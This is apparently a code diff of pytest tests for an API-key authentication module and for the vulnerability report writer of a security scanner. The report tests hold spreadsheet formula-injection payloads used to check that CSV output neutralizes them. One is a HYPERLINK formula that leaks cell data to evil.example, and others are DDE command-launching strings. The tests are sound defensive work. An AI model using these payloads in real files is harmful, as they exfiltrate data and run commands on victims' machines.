||||
assert record["key"] == "sk-oc-test"
|
||||
assert opencode.is_authenticated() is True
|
||||
assert opencode.get_api_key() == "sk-oc-test"
|
||||
|
||||
opencode.logout()
|
||||
assert opencode.read_record() is None
|
||||
opencode.logout() # no-op when already gone
|
||||
|
||||
|
||||
def test_store_coexists_with_chatgpt_record() -> None:
|
||||
codex.save_record({"type": "oauth", "access": "a", "refresh": "r", "account_id": "acct"})
|
||||
opencode.save_api_key("sk-oc-test")
|
||||
|
||||
assert codex.read_record() is not None
|
||||
assert opencode.get_api_key() == "sk-oc-test"
|
||||
|
||||
opencode.logout()
|
||||
assert codex.read_record() is not None
|
||||
assert opencode.read_record() is None
|
||||
|
||||
|
||||
def test_get_api_key_raises_when_not_signed_in() -> None:
|
||||
with pytest.raises(opencode.OpencodeAuthError) as exc:
|
||||
opencode.get_api_key()
|
||||
assert exc.value.code == "not_authenticated"
|
||||
|
||||
|
||||
def test_auth_mode_covers_both_subscriptions() -> None:
|
||||
assert opencode.auth_mode("opencode/claude-sonnet-5") == "subscription"
|
||||
assert opencode.auth_mode("opencode-go/kimi-k3") == "subscription"
|
||||
assert opencode.auth_mode("chatgpt/gpt-5.4") == "subscription"
|
||||
assert opencode.auth_mode("openai/gpt-5.4") == "api_key"
|
||||
assert opencode.auth_mode(None) == "api_key"
|
||||
|
||||
|
||||
def test_subscription_provider() -> None:
|
||||
assert opencode.subscription_provider("opencode/claude-sonnet-5") == "opencode"
|
||||
assert opencode.subscription_provider("opencode-go/kimi-k3") == "opencode"
|
||||
assert opencode.subscription_provider("chatgpt/gpt-5.4") == "chatgpt"
|
||||
assert opencode.subscription_provider("openai/gpt-5.4") is None
|
||||
assert opencode.subscription_provider(None) is None
|
||||
|
||||
|
||||
def _response(status_code: int, text: str = "") -> mock.MagicMock:
|
||||
response = mock.MagicMock()
|
||||
response.status_code = status_code
|
||||
response.text = text
|
||||
return response
|
||||
|
||||
|
||||
def test_validate_api_key_accepts_ok() -> None:
|
||||
with mock.patch.object(requests, "get", return_value=_response(200)) as get:
|
||||
opencode.validate_api_key("sk-oc-test")
|
||||
assert get.call_args.kwargs["headers"]["Authorization"] == "Bearer sk-oc-test"
|
||||
|
||||
|
||||
def test_validate_api_key_rejects_unauthorized() -> None:
|
||||
with (
|
||||
mock.patch.object(requests, "get", return_value=_response(401)),
|
||||
pytest.raises(opencode.OpencodeAuthError) as exc,
|
||||
):
|
||||
opencode.validate_api_key("bad-key")
|
||||
assert exc.value.code == "invalid_key"
|
||||
|
||||
|
||||
def test_validate_api_key_maps_network_errors() -> None:
|
||||
with (
|
||||
mock.patch.object(requests, "get", side_effect=requests.ConnectionError("boom")),
|
||||
pytest.raises(opencode.OpencodeAuthError) as exc,
|
||||
):
|
||||
opencode.validate_api_key("sk-oc-test")
|
||||
assert exc.value.code == "unavailable"
|
||||
@@ -9,6 +9,7 @@ from typing import TYPE_CHECKING, Any
|
||||
import pytest
|
||||
|
||||
from strix.report.writer import (
|
||||
atomic_write_text,
|
||||
read_run_record,
|
||||
render_vulnerability_md,
|
||||
write_executive_report,
|
||||
@@ -163,6 +164,64 @@ def test_write_vulnerabilities_creates_markdown_csv_and_json(tmp_path: Path) ->
|
||||
assert csv_rows[0]["severity"] == "CRITICAL"
|
||||
|
||||
|
||||
@pytest.mark.parametrize(
|
||||
"payload",
|
||||
[
|
||||
'=HYPERLINK("http://evil.example/leak?d="&A1,"View")',
|
||||
"+cmd|'/c calc'!A1",
|
||||
"@SUM(1+1)*cmd|'/c calc'!A1",
|
||||
"-2+3+cmd|'/c calc'!A1",
|
||||
"\t leading tab",
|
||||
"\r leading carriage return",
|
||||
],
|
||||
)
|
||||
def test_write_vulnerabilities_csv_neutralizes_formula_injection(
|
||||
tmp_path: Path,
|
||||
payload: str,
|
||||
) -> None:
|
||||
# Titles quote text from the scanned target, so a finding title can begin with
|
||||
# a spreadsheet formula trigger. csv escapes CSV syntax but not formula
|
||||
# triggers, so the cell has to be neutralized before it is written.
|
||||
write_vulnerabilities(tmp_path, [_sample_report(title=payload)], set())
|
||||
|
||||
csv_rows = list(
|
||||
csv.DictReader((tmp_path / "vulnerabilities.csv").read_text(encoding="utf-8").splitlines()),
|
||||
)
|
||||
title = csv_rows[0]["title"]
|
||||
assert title.startswith("'")
|
||||
assert not title.startswith(("=", "+", "-", "@", "\t", "\r"))
|
||||
|
||||
|
||||
def test_write_vulnerabilities_csv_preserves_payload_after_guard(tmp_path: Path) -> None:
|
||||
payload = "=1+1"
|
||||
write_vulnerabilities(tmp_path, [_sample_report(title=payload)], set())
|
||||
|
||||
csv_rows = list(
|
||||
csv.DictReader((tmp_path / "vulnerabilities.csv").read_text(encoding="utf-8").splitlines()),
|
||||
)
|
||||
assert csv_rows[0]["title"] == "'=1+1" # guard prefix only, payload intact
|
||||
|
||||
|
||||
def test_write_vulnerabilities_csv_leaves_benign_titles_unchanged(tmp_path: Path) -> None:
|
||||
write_vulnerabilities(tmp_path, [_sample_report(title="SQL Injection in /login")], set())
|
||||
|
||||
csv_rows = list(
|
||||
csv.DictReader((tmp_path / "vulnerabilities.csv").read_text(encoding="utf-8").splitlines()),
|
||||
)
|
||||
assert csv_rows[0]["title"] == "SQL Injection in /login"
|
||||
|
||||
|
||||
def test_atomic_write_text_keeps_payload_byte_for_byte(tmp_path: Path) -> None:
|
||||
# The CSV index carries its own \r\n terminators, so newline translation would
|
||||
# turn every row ending into \r\r\n on Windows.
|
||||
payload = "a,b\r\nc,d\r\n"
|
||||
path = tmp_path / "index.csv"
|
||||
|
||||
atomic_write_text(path, payload)
|
||||
|
||||
assert path.read_bytes() == payload.encode("utf-8")
|
||||
|
||||
|
||||
def test_write_vulnerabilities_skips_already_saved_ids(tmp_path: Path) -> None:
|
||||
reports = [_sample_report(id="vuln-0001")]
|
||||
saved: set[str] = {"vuln-0001"}
|
||||
|
||||
Reference in New Issue
Block a user